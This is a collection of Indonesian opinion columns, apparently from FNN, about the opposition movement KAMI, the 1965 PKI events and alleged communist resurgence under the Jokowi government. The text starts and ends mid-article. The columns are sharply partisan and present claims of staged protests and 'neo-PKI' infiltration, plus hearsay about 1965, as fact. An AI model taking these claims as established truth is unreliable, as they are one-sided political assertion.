ini prilaku paradoks dari kekuasaan. Saya justeru khawtir jika prilaku “unfair” ini justeru menjadi bagian dari symptom yang ada. Semoga saja saya salah. Perlakuan “ketidak adilan” (unfair treatment) kekuasaan itu juga terlihat dalam menyikapi kelompok-kelompok yang dianggap mengancam negara atau ideologi negara. Salah satunya sebagai misal adalah kelompok dan jamaah Hizbut Tahrir Indonesia (HTI). Saya melihat ada sikap yang berbeda dari kekuasaan dalam menyikapi kelompok-kelompok yang dianggap sebagai ancaman itu. Ada yang ditindak dan dibumi hanguskan. Tapi ada yang seolah dirangkul dan dilindungi. Pilitik belah babmbu yang diterapkan. Tentu semua ini semakin membangun kecurigaan itu. Pastinya menjadikan Umat Islam semakin meningkatkan kewaspada. Kenapa ancaman yang dikaitkan dengan agama begitu dibenci? Sementara ancaman ideologi yang anti agama seolah hal yang biasa saja. Bahkan serasa mendapat perlindungan. Saya khawatir sekali lagi, jangan-jangan ini jadi bagian dari symptom itu. Gejala-Gejala itu... Sebuah gejala tentunya bukankah kesimpulan, sampai masanya bisa dibuktikan. Gejala hanya jembatan menju kepada realita. Karenanya sikap yang dibangun bukanlah “konklusi” (kesimpulan). Tetapi sekali lagi, lebih kepada membangun kewaspadaan. Sebagai ilustrasi saja. Jika saat ini saya terbang kembali ke Indonesia, pastinya setiba di bandara Soekarno Hatta suhu badan saya akan dicek. Kalau ternyata temperatur badan saya lebih dari normal, maka berarti saya ada “gejala” Covid. Tapi tingginya suhu badan itu belum tentu sebagai sebuah “kesimpulan” jika saya positif Covid. Namun demikian karena suhu badan tadi, maka wajar saja kalau saya dikarantina hingga ada pembuktian jika saya negatif atau memang postif Covid. Disinilah urgensi kewaspadaan terhadap gejala-gejala PKI dan faham komunisme itu. Karena dari gejala itulah nantinya akan nampak (terbukti) apa benar atau tidak benar jika memang PKI menggeliat di negeri ini. (bersambung) Penulis adalah Diaspora Indonesia di Amerika Serikat.

Ganggu Tabur Bunga Purnawirawan

by M Rizal Fadillah Jakarta FNN – Jum’at (02/10). Kasus kericuhan di Taman Makam Pahlawan (TMP) Kalibata pada 30 September 2020 sore saat acara ziarah dan tabur bunga Purnawirawan TNI ini tidak mungkin tanpa disain. Aksi demo yang "menolak" sudah dapat diduga sebagai buatan, bayaran, dan teror. Pantas dan wajar jika aksi pelecehan seperti ini mendapat perlawanan. Untuk itu, baik peserta aksi demo maupun pembuat aksi semestinya ditindak oleh aparat Kepolisian. Tetapi selalu saja terkesan seperti dibiarkan. Sehingga wajar bila ada yang beranggapan bahwa, aksi ini bagian dari rekayasa penguasa untuk menekan dan menghalang-halangi tokoh-tokoh oposisi. Melihat kejadian di TMP Kalimata ini, kening jedi berkerut dengan seratus pertanyaan. Pemerintah sedang bermainkah? Betapa kasar permainannya. Jika model seperti ini masuk kategori operasi intelijen, maka betapa tidak cerdiknya operasi itu. Selera intelijen yang rendah, dan sangat tidak bermutu. Para purnawirawan TNI akhirnya turun gunung melakukan aksi moral. Purnawirawan adalah hati dan cermin dari TNI aktif yang masih terikat oleh disiplin komando. Fenomena kegelisahan ini semestinya ditangkap dengan sepenuh jiwa. karena kondisi ini tidak biasanya. Selain ulama, santri, dan aktivis Islam, maka TNI adalah sasaran Partai Komunis Indonesia (PKI) dan faham Komunisme. Kepekaan elemen ini cukup tinggi terhadap ancaman dan bahaya Neo PKI dan faham Komunisme. Oleh karenanya agenda ziarah dan tabur bunga pada tanggal 30 September ini menjadi sinyal dari kepekaan yang tinggi tersebut. Pemerintahan Jokowi semestinya memahami perasaan "old soldiers" yang sedang mengunggah memori anak-anak yang mencintai negeri ini dari bahaya dan ancaman Neo PKI dan faham Komunisme. Bukan malah sebaliknya, memberikan angin segar dan ruang untuk tumbuh dan berkembangnya Neo PKI dan faham Komunisme yang mengancam ideologi Pancasila. Gagasan diajukannya Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) adalah bukti nyata bahwa Neo PKI dan faham Komunisme itu ada dan nyata. Bukan fitnah dan mengarang bebas. Tragisnya, pemerintah Jokowi malah memberikan penguatan dengan mengajukan RUU Ban Pembinaan Ideologi Pancasila (BIP). Ini lebih ngawur dan ngaco. Ketika kasus laporan Luhut Binsar Panjaitan (LBP) atas Muhammad Said Didu, maka dukungan Purnawirawan TNI kepada Didu yang biasa disapa Mosad mengalir deras. Demikian juga saat Ruslan Buton ditangkap, dan terlebih lebih lagi saat peradilan Mayjen TNI (Purn.) Kivlan Zen. Dukungan luar biasa dari ribuan Purnawirawan TNI, diantaranya ratusan mantan Pati memberi dukungan tertulis. Fenomena turun gunung para Purnawirawan TNI ini menjadi peristiwa politik yang menarik. Karena menggambarkan kegelusahan mereka yang dalam terhadap teta kelola negara yang kacau-balau, amatiran dan amburadul. Mantan Panglima TNI Jendaral TNI (Purn.) Gatot Nurmantyo yang bersedia menjadi salah satu Presidium Koalisi Aksi Menyelamatkan Indonesia (KAMI) adalah sebuah kejutan. KAMI sebuah gerakan yang sangat kritis terhadap penyelenggaraan negara pimpinan Presiden Jokowi. Gatot tentu tidak sendirian. Ada banyak barisan Purnawirawan di belakangnya. Aksi Purnawirawan di berbagai even tidak bisa dianggap lalu. Disamping wujud kekecewaan atas peran terlalu besar "angkatan" Kepolisian, dan pengecilan TNI pasca pemisahan, juga hal ini menjadi suara keras gerakan moral dan patriotisme. Arah pengelolaan negara dinilai telah jauh melenceng jauh. Kalau ibarat kapal, arah kapal melenceng jauh dari tujuan akan dituju. Negara juga sudah melenceng dari cita-cita dan tujuan bernegara sesuai perintah kontitusi Pembukaan UUD 1945. Bukan lagi untuki melindungi segenap bangsa tumpah darah Indonesia. Tetapi melindungi kepentinga para oligarki, korporasi dan konglomerat licik, picik, busuk dan tamak. Sikap Purnawirawan adalah hati dan cermin dari TNI aktif yang masih terikat oleh disiplin komando. Komando yang kadang dibelenggu oleh permainan politik. Penulis adalah Pemerhati Politik dan Kebangsaan.

Din-Rachmat, Sinergi Muhammadiyah-NU di KAMI

by Tony Rosyid Jakarta FNN- Jum’at (02/10). Dua tokoh besar Muhammadiyah dan Nahdatul Ulama (NU) tampil memimpin Koalisi Aksi Menyelamatkan Indonesia0 (KAMI). Mereka adalah Din Syamsudin dan Rachmat Wahab. Keduanya Guru Besar di dua perguruan tinggi ternama negeri ini. Din Syamsudin Guru Besar di Universitas Islam Negeri (UIN) Jakarta. Sedangkan Rachmat Wahab Guru Besar di Universitas Negeri Jogyakarta (UNY). Kedua tokoh Muhammadiyah dan NU ini didaulat menjadi Presidium KAMI. Dibantu tokoh dari mantan militer yaitu Gatot Nurmantyo. Muhammadiyah adalah organisasi terbesar kedua setelah NU. Meski kedua tokoh ini tidak secara resmi mewakili organisasi masing-masing, namun representasi dan pengaruhnya tidak bisa diabaikan. Keduanya mempunyai nama besar. Baik di Muhammadiyah maupun NU. Jika tokoh Muhammadiyah dan NU sudah bersatu dalam langkah yang sama, maka dukungan mayoritas rakyat lebih mudah untuk diperoleh. Sejarah mencatat kemenangan Gus Dur di sidang MPR 1999 atas Megawati setelah tokoh Muhammadiyah yaitu Amien Rais memberikan dukungan kepada Gus Dur. Padahal, nama Gus Dur nggak muncul dari awal sebagai Capres. Bersatunya NU dan Muhammadiyah dalam gerakan moral dan juga politik termasuk barang langka dalam sejarah negeri ini. Sebab, keduanya memang bukan partai politik. Terutama sejak NU kembali ke Khittoh tahun 1984. Masing-masing ormas besar ini punya lahan sosial dan garapan pendidikan yang berbeda. Namun pada kondisi tertentu, para tokoh kedua Oraganisasi Kemasyarakatn (Ormas) ini bisa saja bersatu. Misalnya, untuk menyelamatkan bangsa dari keterpurukan. NU menggarap masyarakat pedesaan dan pendidikan tradisional. Muhammadiyah lebih terkonsentrasi pada masyarakat perkotaan dan pendidikan modern. Selain menggarap juga bidang kesehatan. melalui rumah sakit. Semacam bagi-bagi tugas. Namun, di dalam KAMI, dua tokoh Muhammadiyah dan NU bersatu di garda terdepan. Memimpin gerakan moral, meski harus berhadap-hadapan dengan penguasa. Mirip di Majelis Ulama Indonesia (MUI). Jika ketuanya dari NU, maka sekjen dari Muhammadiyah. Begitu juga sebaliknya. Bersatunya unsur NU-Muhammadiyah di KAMI, mesti diwakili oleh para tokoh non struktural, akan memberi harapan bahwa gerakan KAMI ke depan punya potensi besar. Selama ini, susahnya menyatukan NU-Muhammadiyah dalam satu paket (kebersamaan) gerakan moral, karena adanya faktor psikologis yang disebabkan oleh perbedaan paham keagamaan dan ritual diantara mereka. Ketika kedua tokoh ormas besar ini bersatu, lenyap semua sekat-sekat itu. Inilah diantara faktor yang membuat penguasa cukup panik. Penguasa tentu saja tidak senang, kalau tokoh-tokoh Muhammadiyah dan NU bersama dalam gerakan moral yang beroposisi kepada yang sedang berkuasa. Dalam banyak peristiwa politik, kedua ormas ini seringkali sengaja dibenturkan satu dengan yang lain. Terutama jelang pemilu. Pelakunya adalah para politisi. Sebut saja "politisi busuk". Isunya selalu soal paham keagamaan, mazhab dan ritual. Klasik! Meski klasik, tapi seringkali efektif. Di KAMI, keduanya menyatu. Tak ada isu yang bisa membenturkannya. Isu Islam kanan, nggak mempan. Isu radikalisme dan Khilafah, juga nggak ngefek. Muhammadiyah dan NU dikenal ormas moderat. Nggak ke kanan, apalagi radikal. Isu Khilafah itu bukan khas NU dan Muhammadiyah. Jika di Surabaya Senin kemarin (28/9) demo menolak KAMI karena dianggap mengusung faham khilafah, itu tandanya para pendemo bangun kesiangan. Baru siuman. Sementara tuduhan kepada KAMI sebagai barisan sakit hati, itu salah sasaran. Nggak akan mempan juga. Sebab, Din Syamsudin dan Rachmat Wahab tak terlibat aktif di politik, terutama pilpres 2019. Anda mau nuduh kedua tokoh ini punya ambisi jadi presiden? Makin ngaco dan ngawur! Mereka lebih cocok sebagai bapak bangsa. Bukan politisi, apalagi agen dan broker politik. Mereka adalah berdua itu organisatoris, guru besar, akademisi, ilmuwan dan agamawan yang dalam pikiran mereka berdua hanya ingin bangsa ini selamat. Titik! Tidak lebih. Nggak ada keinginan lain kecuali hanya itu. Bersyukur KAMI lahir di tengah bangsa yang sedang carut-marut, berantakan dan amburadul begini. Bersyukur juga KAMI mendapatkan sosok pemimpin seperti Din Syamsudin dan Rachmat Wahab. Sosok yang berintegritas dan punya kapasitas. Karena itu, tak berlebihan jika mereka berdua dianggap telah merepresentasikan suara mayoritas rakyat Indonesia. Selamat berjuang, semoga di tangan dua sosok ini, KAMI mampu memberi arah bangsa yang lebih jelas dan terukur. Selamat dari gelombang masalah akibat kedunguan para nahkodanya. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Selamat Hari Kesaktian Pencasila, "Suatu Saat Indonesia Akan Jaya"

Bangsa Indonesia kini sedang mendapatkan ujian dari Allah Sunhanahu Wa Ta'ala. Covid-19 semakin memporak-porandakan ekonomi nasional. Untungnya, ujian itu tidak hanya menimpa negara yang berdasarkan Pancasila ini. by Mangarahon Dongoran Jakarta, FNN - Kamis (1/10). Jayalah Negeriku. Jayalah Indonesiaku. Walaupun saat ini sedang carut-marut, akibat Corona Virus Disaesa 2019 (Covid-19), ditambah lagi pemerintahan yang carut-marut dalam menangani berbagai masalah ekonomi, sosial, kesehatan, hukum dan politik, saya percaya, suatu waktu Indonesia akan jaya, dan diperhitungkan kembali di kancah internasional. Saya percaya Indonesia akan bangkit dari keterpurukan. Pengorbanan para pahlawan kemerdekaan, pahlawan revolusi, dan pahlawan reformasi kelak tidak akan sia-sia. Kelak Indonesia akan menjadi macan Asia yang siap mengaum ke seluruh dunia. Ekonomi sudah terasa merosot dalam 5 tahun pertama pemerintahan Joko Widodo- M.Jusuf Kalla. Janji pertumbuhan ekonomi 7% per tahun dalam kampanyenya tahun 2014 tidak pernah tercapai. Jangankan 7%, 6% pun tidak tercapai. Akibatnya, daya beli masyarakat merosot. Saya yang juga ikut bermain di sektor kecil-kecilan, turut merasakannya. Penjualan tahun 2018 turun 50% lebih dibanding penjualan tahun 2019. Banyak yang mengeluh omset turun terus. Apalagi di masa Covid-19 ini. Dalam 5 tahun pertama itu (2014 sampai 2019), mungkin ada sektor yang tumbuh, bertahan, dan turun. Tapi, umumnya turun. Banyak kios dan toko di mal yang tutup. Katanya karena online. Tapi, pengaruh online masih sangat kecil. Buktinya, tidak hanya kios yang tutup, tetapi juga sejumlah gerai mini market dan tempat perbelanjaan modern banyak yang tutup. Sebut saja berapa banyak gerai Matahari, Robinson, Indomart, Alfamart yang tutup. Belum lagi toko-toko di pinggir jalan, banyak yang tutup. Bangsa Indonesia kini sedang mendapatkan ujian dari Allah Sunhanahu Wa Ta'ala. Covid-19 semakin memporak-porandakan ekonomi nasional. Untungnya, ujian itu tidak hanya menimpa negara yang berdasarkan Pancasila ini. Semua negara ikut meraskannya. Jepang yang merupakan negara maju misalnya, sudah mengalami pertumbuhan ekonomi minus 2,2% dalam dua semester pertama tahun ini (Januari sampai Juni). Demikian juga Amerika Serikat dan negara-negara di kawasan Eropa, sudah menjerit. Ekonomi di kawasan Timur Tengah juga 'oleng', karena di masa Covid-19 ini harga minyak dunia terjun bebas. Padahal, pengasilan utama negara-negara kawasan ini adalah minyak. Pun juga di sejumlah negara Afrika yang mengandalkan sumber pendapatan dari minyak bumi. Di kawasan Asia jelas sudah terasa, seperti yang dialami Jepang. Singapura yang mengandalkan perekonomian dari sektor jasa, hampir saja bangkrut. Negara-negara anggota ASEAN merasakan tekanan ekonomi yang sangat dalam, meski tingkat tekanannya berbeda antara negara yang satu dengan lainnya. Indonesia diperkirakan mendapatkan tekanan berat. Perkiraan ekonomi Indonesia tahun 2020 ini yang diproyeksikan minis 0 sampai 2 persen akan berdampak lama dalam pemulihannya. Tahun 2021, merupakan masa sulit. Pemerintah memproyeksikan ekonomi tumbuh 5 persen tahun depan. Akan tetapi, proyeksi itu terlalu ambisius, terlalu manis buat menghibur rakyatnya. Semua berharap Covid-19 segera berlalu. Semua berharap ekonomi membaik. Akan tetapi menyodorkan angka 5 persen, itu terlalu.muluk-muluk, terlalu gombal dan terlalu membual . Sebab, jika tidak tercapai, sebagian masyarakat akan berkata miring, "Pemerintah berbohong." Saya lebih cenderung pada pertumbuhan angka 3 sampai 4 persen tahun depan. Angka itu pun masih terlalu optimis. Mungkin yang realistis adalah 2,5 sampai 3,5 persen. Lebih baik proyeksi pemerintah dalam kondisi sekarang di bawah 5 persen. Katakanlah 4 persen. Kalau kenyataannya lebih dari 4 persen koma sekian, atau bisa 5 persen, itu sebuah prestasi. Akan tetapi, jika proyeksi 5 persen, dan kenyataan akhir yang diperoleh di bawah angk itu, pemerintah akan menjadi bulan-bulanan pengamat dan menjadi tambahan sumber ketidakpercayasns sebagia besar rakyat. ** Penulis adalah Wartawan Senior FNN.co.id.

Tak Terbayangkan Kalau Dulu PKI Menang dan Berkuasa

by Asyari Usman Jakarta FNN - Rabu (30/09). Masa-masa menjelang 30 September 1965, usia saya masih sekitar 8 tahun. Baru mau belajar sholat dan puasa. Alhamdulillah, waktu itu sudah bisa membaca ‘alif-alif’. Begitu dulu orang menyebut ‘iqra’ yang dikenal akhir-akhir ini. Tentu saja saya belum mengerti apa itu ‘komunis’ atau ‘komunisme’. Saya banyak mendengar orang dewasa yang menyebut-nyebut ‘PKI’. Tetapi, belum lagi paham dalam konteks apa ‘PKI’ itu dibicarakan. Tidak mengerti juga apa itu politik. Yang masih terngiang di telinga saya adalah slogan ‘ganyang PKI’. Terus, saya masih ingat tentang ‘lubang’ yang dibuat di halaman rumah. Di saming atau di depan. Umumnya lubang itu berbentuk huruf ‘L’. Semua rumah tangga di kampung wajib memilikinya. Tidak ada penjelasan yang tegas tentang mengapa lubang-lubang itu harus dibuat. Ada yang mengatakan, lubang itu akan digunakan bila ada serangan udara dari Malaysia. Waktu itu, sedang top pula ‘ganyang Malaysia’. Yaitu, konfrosntasi yang dikobarkan oleh Presiden Soekarno. Serangan dari Malaysia sangat masuk akal sebagai penjelasan tentang lubang-lubang itu. Sebab, kebetulan pula kampung kami berada tak jauh dari pantai Selat Melaka. Jadi, bila ada serangan udara, penduduk langsung berlindung di dalam lubang. Terasa pas juga penjelasan ini. Ternyata, bertahun-tahun setelah peristiwa Gerakan 30 September 1965, barulah diperoleh jawaban yang ‘akurat’ mengenai peruntukan lubang-lubang tsb. Yaitu, kata warga yang lebih paham tentang gerakan PKI, untuk menguburkan mayat-mayat penduduk yang bakal dibantai oleh orang-orang PKI. Waktu itu. Penjelasan ini jauh lebih masuk akal. Itu pun setelah terjadi peristiwa pembunuhan enam jenderal dan seorang perwira menengah TNI pada dini hari 30 September 1965. Yang disusul dengan pengejaran terhadap orang-orang PKI yang melakukan perbuatan makar itu. Ketahuanlah kegunaan lubang-lubang yang digali di halaman rumah-rumah penduduk itu. Bahwa, jika PKI yang menjadi kuat dan di atas angin, maka mayat-mayat warga kaum muslimin akan dimasukkan ke lubang yang digali sendiri oleh mereka. Ketika itu, perangkat pemerintahan desa tidak tahu lubang itu untuk apa. Mereka juga diperintahkan atasan agar memerintahkan warga menggali lubang di halaman rumah masing-masing. Perhatikan! PKI bisa menginfiltrasi kekuasaan. Mereka bisa mengatur agar pemerintah menginstruksikan rakyat untuk menggali lubang yang akan digunakan untuk menguburkan mayat yang menggali lubang itu sendiri. Alhamdulillah, PKI digagalkan oleh Allah SWT. Berkat doa umat dan para ulama, ustad, dan para kiyai, akhirnya rakyat bersama ABRI (TNI) berhasil menghentikan makar PKI. Rakyat dan tentara melakukan penumpasan. Para pengkhianat bangsa dengan lambang palu-arit itu pun tak berkutik. Tak terbayangkan kalau PKI menang dalam pemberontakan 30 September 1965 itu. Andaikata mereka berhasil merebut kekuasaan, tentu umat Islam akan dijadikan sasaran utama. Agama pastilah akan dikekang dan kemudian dilenyapkan. Mungkinkah mereka melakukan itu? Sangat mungkin. Sebab, begitu PKI berkuasa pada 1965 itu, maka hampir pasti pemerintahan yang dikuasai komunis akan meminta bantuan dari RRT (RRC). Poros Djakarta-Peking telah terbangun waktu itu. Peking (Beijing) pasti melakukan apa saja untuk mendukung kekuasaan PKI. Sekali lagi, Alhamdulillah. Kita terhindar dari kemenangan PKI pada 30 September 1965. Betapa seramnya jika mereka yang berkuasa. Mari kita ceritakan kepada anak-anak generasi muda. Agar mereka paham tentang makar PKI yang bertujuan untuk melenyapkan agama, khususnya agama Islam, dari bumi Inonesia. Kita wajib menceritakan ini karena ada pertanda yang kuat dan jelas bahwa komunisme gaya baru (neo-komunisme) dan PKI gaya baru (neo-PKI) ingin bangkit dan berperan kembali. Penulis adalah Wartawan Senior FNN.co.id

Rezim PKI Kah?

by M Rizal Fadillah Bandung FNN – Kamis (30/09). Rakyat dan umat Islam harus sudah mulai waspada. Bahkan mulai bersiap-siap dengan serius untuk menghadapi kebangkitan Partai Komusnis Indonesia PKI dan faham komunis. Persoalan bangsa dan negara tidak bisa dianggap enteng. Pernyataan petinggi negara bahwa PKI tidak ada. PKI sudah dilarang. Komunisme telah bangkrut atau narasi serupa lainnya, justru merupakan sinyal bahwa PKI memang ada dan siap bangkit. Untuk itu, semua langkah dan upaya antisipasi harus dilakan, dan disiapkan sejak sekarang. Negara dan pemerintah ini, tidak bisa terlalu diharapkan untuk berbuat menghalangi dan mencegah bangkit dan penyebaran PKI model baru dan faham komunis. Masyarakat, khususnya umat Islam yang harus bergerak dan betindak sejak sekarang. Konsolidasi ke arah itu, seharusnya dimulai dari sekarang. Jangan menunggu, sebab bisa kecolongan. PKI dan faham komunisme munculnya di lingkaran Pemerintah. Tersebar di Parlemen, serta menyusup di organisasi kemasyarakatan. PKI dan faham komunisme adalah sebutan untuk mereka yang anti agama, sekuler, pembela PKI, serta pendukung penggerusan ideologi Pancasila 18 Agustus 1945. Tentu saja sangat bodoh bila menganggap PKI itu hanya semata-mata partainya Diva Nusantara Aidit. PKI kini adalah pengelompokan diri faham yang selalu menyebut agama itu radikal dan intoleran. Ciri dan karakter mereka itu, anti terhadap kritik dan menjadi penjilat utama penguasa. Kasus acara Koalisi Aksi Menyelamatkan Indonesia (KAMI) di Surabaya, yang bukan hanya dihalang-halang, tetapi juga dibubarkan. Lalu tokoh anti PKI Jenderal TNI (Purn.) Gatot Nurmantyo digiring keluar menjadi petunjuk bahwa PKI mulai beraksi. Aparat kepolisian pun nampaknya tidak sadar berada dalam pusaran permainan mereka. Meskipun telah terjadi pelanggaran terhadap Hak Asasi manusia (HAM), yakni dengan melanggar Pasal 28 E ayat (3) UUD 1945 dan Pasal 24 ayat (1) UU No. 39 tahun 1999 tentang HAM. Namun arapat seperti sengaja, bahkan mebiarkan peristiwa itu terjadi di depan mata. Tadak ada upaya dari aparat untuk mencegahnya. Ini sangat tragis. Namun tidak membuat KAMI surut. Malah semakin mantap maju Aksi aksi tandingan di luar gedung ,yang dibiarkan adalah paru arit, arogansi dan pembunuhan moral bangsa. Modus kejahatan baru. Jawa Timur telah mendeklarasikan munculnya PKI. Dan akan ada susulan deklarasi PKI-PKI yang lain. Keberadaan KAMI rupanya menjadi even bagi PKI untuk keluar dari kandang npersembunyian. Meraka mulai terbuka, bahkan terang-terangan. Tidak lagi sembunyi-sembunyi. Nah, kalau sudah begini, Rezim diam atau terlibat? Pertanyaan yang sama saat terjadi peristiwa G 30 S PKI pada tahun 1965. Apakah PKI itu sendirian atas pembunuhan para Jenderal TNI ? Atau ada dalang lain yang turut menyertai PKI? Faktanya adalah bahwa PKI itu pandai menyusup dan mempengaruhi pusat kekuasaan, termasuk dengan mudah mempengaruhi Presiden Soekarno. PKI pandai menipu hingga Soekarno harus berpidato "aku berkata PKI, jo sanak ku, jo kadangku, jen mati aku melu kelangan" (tepuk tangan). Saking hebatnya PKI mempengaruhi Soekarno, sampai partai agama Masyumi pun bisa dibubarkan. Hampir saja Himpinan Mahasisw Islam (HMI) dan Pelajar Islam Indonesia (PII) turut dibubarkan. Pada bulan Mei berakrab-akrab ria, namun bulan September PKI beraksi. Para perwira Tinggi TNI diculik dan dibunuh. Kita tidak boleh menuduh Rezim Jokowi terkait dengan PKI. Akan tetapi bolehlah kita sebagai rakyat Indonesia menanti sikap rezim yang tegas untuk mengingatkan rakyat akan bahaya PKI dan Komunisme? Tidak cukup dengan sekedar menunjuk pada aturan pelarangan. Karena terbukti aturan itu pernah diabaikan bahkan hendak dicabut. PKI dan faham komunisme tetap merupakan bahaya laten bangsa. Rakyat khususnya umat Islam melihat PKI dan Komunisme sebagai musuh yang bengis dan jahat. Mati lebih terhormat daripada membiarkan PKI dan faham komunisme bangkit dan hidup kembali di negeri ini. Apakah Pemerintah juga melihat dengan pandangan yang sama ? Semoga saja. Amin. Penulis adalah Pemerhati Politik dan Kebangsaan.

Din Syamsudin Dan Nasib KAMI Kedepan

by Tony Rosyid Jakarta FNN – Kamis 930/09). Bicara Koalisi Aksi Menyelamatkan Indonesia (KAMI) tidak lepas dari sosok kharismatik Ini. Namanya Din Syamsudin. Secara historis, mantan Ketua Majelis Ulama Indonesia (MUI) ini termasuk paling awal (Assaabiquunal Awwaluun) yang merintis gerakan ini sebelum akhirnya nama KAMI lahir. Semula ada sembilan tokoh. Yang belakangan dikenal dengan sembilan tokoh oposisi. Yaitu Din Syamsudin, Habib Rizieq, Abdullah Hehamahua, Emha Ainun Najib, Rizal Ramli, Refly Harun, Rocky Gerung, Kiyai Najih Maemoen dan Said Didu. Kepada sembilan tokoh ini, Din Syamsudin merajutnya. Melakukan komunikasi intens untuk menyamakan visi dan langkah. Rapat perdana dan ini akan jadi sejarah KAMI, diadakan di rumah Rizal Ramli. Lima dari sembilan tokoh hadir dalam rapat sangat terbatas itu. Membahas gerakan moral ini. Sekali lagi, gerakan moral. Bukan gerakan politik. Karena KAMI ini dilahirkan sebagai gerakan moral. Bukan menjadi lokomotif untuk politik praktis. Apalagi partai politik. Tidak! Dalam perkembangannya, tokoh-tokoh lain untuk ikut bergabung. KAMI adalah organisasi terbuka. Bagi siapa saja yang cinta negeri dan tanah air ini diberi ruang untuk bergabung. Termasuk para agen intelijen yang ingin belajar moral. Syaratnya satu, “punya visi menyelamatkan masa depan Indonesia”. Belakangan, nama KAMI ditempelkan di gerakan ini. Dan sekarang sedang populer. Nama KAMI berawal dari usulan Abdullah Hehamahua. Hasil ijtihad berbulan-bulan mantan Ketua Umum PB HMI dan penasehat KPK ini diterima secara aklamasi. Dalam perkembangannya, KAMI membesar. Rakyat menyambutnya dengan sangat antusias. Merasa mempunyai kendaraan untuk menyuarakan kebenaran secara bersama-sama. Mesti tetap harus menghadapi hambatan dan sejumlah persekusi. Semakin dihambat dan banyak persekusi, KAMI akan makin dikenal dan membesar. Semakin susah dibendung. Performence Din Syamsudin yang humble dan penuh senyum membuat KAMI relatif mudah masuk ke hati rakyat. Sikap dan senyum yang natural. Ini penting berkaitan dengan psikologi publik. Pengalaman organisasi dan kemampuan intelektual Guru Besar UIN Jakarta ini diyakini mampu membawa KAMI untuk hadir tidak saja elegan, tapi efektif sebagai sebuah gerakan moral. Din Syamsudin tidak sendiri. Belakangan ada sejumlah tokoh yang ikut bergabung. Diantaranya adalah Rachmat Wahab dari Nahdatul Ulama (NU) garis lurus, Syahganda Nainggolan, dan Gatot Nurmantyo dari militer. Bersama Din Syamsudin, keduanya didaulat sebagai Presidium. Presidium ini diback up oleh tokoh-tokoh besar. Sebut saja Abdullah Hehamahua, Bachtiar Nasir, Refly Harun, Said Didu, Rocky Gerung, Chusnul Mar'iyah, Kiyai Abdurrasyid Syafi'i Profesor Anthony Budiawan, Ikhsanudin Noersy, Edwin Sukawati dan banyak lagi. Meski Emha Ainun Najib, Rizal Ramli, Kiai Najih Maemoen, Sobri Lubis (Ketua FPI), Yusuf Martak (Ketua GNPF), Selamet Ma'arif (Ketua PS 212) tidak berada di dalam struktur KAMI, mereka tetap mendukung, selama KAMI konsisten menjadi gerakan moral. Dengan pola gerakan yang soft dan komposisi para tokoh yang cukup ideal ini, Din Syamsudin cs, telah sukses membawa gerbong KAMI diterima oleh sebagian besar rakyat Indonesia. Tugas berikutnya adalah bagaimana KAMI ini mampu mengfungsikan dirinya lebih efektif di tengah berbagai krisis yang sedang dialami oleh bangsa ini. Ini pekerjaan tidak ringan. Selama ini, KAMI on the track sebagai gerakan moral. Menjadi kontrol terhadap kebijakan pemerintah yang dianggap merugikan rakyat dan membahayakan nasib masa depan bangsa. Tidak hanya sampai disitu, Din Syamsuddin cs atas nama KAMI juga memberikan data, hasil riset dan terobosan solusi untuk perbaikan bangsa ke depan. Di tengah kegagalan pemerintah yang begitu sering dalam menghadapi problem bangsa, dan kebebalannya dalam merespon setiap masukan rakyat, akankah menggoda KAMI yang dikomandoi Din Syamsudin cs ini untuk merubah pola gerakannya? Apalagi jika krisis ekonomi berkepanjangan dan telah menciptakan gejolak sosial, maka godaan politik akan sangat kuat. Apalagi, jaringan KAMI di daerah sudah makin meluas. Ini akan jadi ujian moral bagi Din Syamsudin dan seluruh anggota KAMI. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Makin Diserang, KAMI Makin Terbang

by Tony Rosyid Jakarta FNN- Kamis (30/09). Deklarasi Koalisi Aksi Menyelamatkan Indonesia (KAMI) terus bergaung di sejumlah daerah. Tanpa henti KAMI terus bergerak. Dari satu daerah ke daerah yang lain. Bagi mereka yang kecewa terhadap pemerintahan Jokowi, KAMI menjadi tempat yang tepat untuk berkumpul menyuarakan idealisme dan keprihatinan terhadap bangsa. Seiring berjalannya waktu, KAMI semakin membesar. Membesar jumlah pengikutnya, juga pengaruhnya. Pelan tapi pasti. Namun sebelum benar-benar membesar, ada upaya dari "pihak-pihak tertentu" untuk menghambat, bahkan menghalangi. Publik tahu siapa pihak-pihak ini. Baca pola dan isunya, itu khas. Polanya selalu menggunakan pengerahan massa antara 50-100 orang. Ini berkaitan dengan anggaran. Terdiri dari anak-anak muda. Teriak-teriak di atas mobil dengan toa yang lumayan lantang. Dan isu yang terus diangkat adalah Khilafah, anti Pancasila dan pemecah belah bangsa. Ditambah satu tuduhan “barisan sakit hati”. Perhatikan gaya mereka! Nggak akan keluar dari isu itu. Dilengkapi dengan sejumlah spanduk yang dipasang di sekelilingnya. Demo macam ini terjadi Senen (28/9) di Surabaya. Mirip dengan demo yang terjadi saat awal deklarasi KAMI di Tugu Proklamasi Jakarta 18 Agustus lalu. Juga di sejumlah tempat lain. Pola dan isunya masih tetap sama. Kalau anda menemukan pola demo macam ini, mudah untuk menunjuk jidat mana yang menggerakkan demo ini. Apakah dengan demo penolakan ini mental KAMI makin ciut? Lalu rencana deklarasi di berbagai daerah berhenti? Tidak! Anda salah kalau berpikir seperti itu. Perlu belajar teori "The functions of social conflicts" nya Lewis Coser. Teori ini mengungkapkan betapa penolakan itulah yang dibutuhkan KAMI. Siapin panggung kecil, dapat panggung besar. Ini ungkapan yang tepat untuk menggambarkan KAMI dalam banyak peristiwa persekusi di beberapa daerah. Sesungguhnya, tak banyak orang dan media tahu momen deklarasi di Surabaya. Begitu juga di daerah-daerah lain. Gara-gara ditolak, ramai dan publik menjadi tahu. Media blow up besar-besaran. Bagi KAMI, ini adalah hadiah. Bahkan anugerah. Ada momen untuk iklan gratis. Dengan penolakan ini, konsolidasi KAMI di seluruh Indonesia juga makin kuat. Gelombang empati dan pembelaan semakin membesar. Senin lalu, media dan medsos ramai. Dipenuhi berita deklarasi KAMI di Surabaya Jawa Timur. Lahan subur bagi KAMI untuk beriklan dan mensosialisasikan diri. Dari peristiwa ini, KAMI berlimpah simpati. Mengambil momentum ini dengan sangat cerdas. Diam tak membalas. Cukup klarifikasi secukupnya. Memberi pemahaman publik tentang identitasnya. Inilah KAMI. Cukup itu saja. Dan rakyat paham. Di KAMI, ada banyak tokoh yang punya daya tarik dan kemampuan bernarasi. Mereka punya kelas dan klaster pendukung masing-masing. Ada Gatot Nurmantyo, Din Syamsudin, 